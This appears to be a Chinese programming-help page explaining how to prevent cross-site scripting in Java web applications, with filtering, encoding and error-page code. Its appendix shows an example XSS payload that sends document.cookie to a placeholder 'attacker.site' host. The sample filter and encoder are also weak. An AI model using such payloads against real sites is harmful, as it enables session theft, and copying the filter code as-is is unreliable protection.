当前位置:首页 » 编程软件 » 解决跨站脚本攻击

解决跨站脚本攻击

发布时间: 2024-10-27 09:31:56

A. 如何防止跨站点脚本攻击

防止跨站点脚本攻击的解决方法:

1.输入过滤

对每一个用户的输入或者请求首部,都要进行过滤。这需要程序员有良好的安全素养,而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题,如错误页等。
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");

2.输出过滤

public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("&#" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}

byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}

String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->

<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>

<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>

<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路径捕捉,这样就可以处理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );

3.安装三方的应用防火墙,可以拦截css攻击。

附:

跨站脚本不像其他攻击只包含两个部分:攻击者和web站点。
跨站脚本包含三个部分:攻击者,客户和web站点。
跨站脚本攻击的目的是窃取客户的cookies,或者其他可以证明用户身份的敏感信息。

攻击
一个get请求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
www.vulnerable.site
会产生如下的结果
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
但是如果请求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
就会得到如下的响应
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
这样在客户端会有一段非法的脚本执行,这不具有破坏作用,但是如下的脚本就很危险了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>
响应如下:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站,这样攻击者就得到了客户的cookie。

热点内容
学cnc数控编程 发布:2024-10-27 11:04:56 浏览:226
mallat算法 发布:2024-10-27 11:03:57 浏览:33
讲脚本 发布:2024-10-27 10:47:54 浏览:713
存储免疫细胞 发布:2024-10-27 10:46:56 浏览:493
粉标溯源码 发布:2024-10-27 10:44:28 浏览:139
网吧服务器如何搭建 发布:2024-10-27 10:27:49 浏览:391
安卓手机如何设置不让玩王者荣耀 发布:2024-10-27 10:27:43 浏览:762
没有配置的游戏怎么玩 发布:2024-10-27 10:25:32 浏览:431
c语言好看 发布:2024-10-27 10:14:25 浏览:604
java写入数组 发布:2024-10-27 10:06:59 浏览:178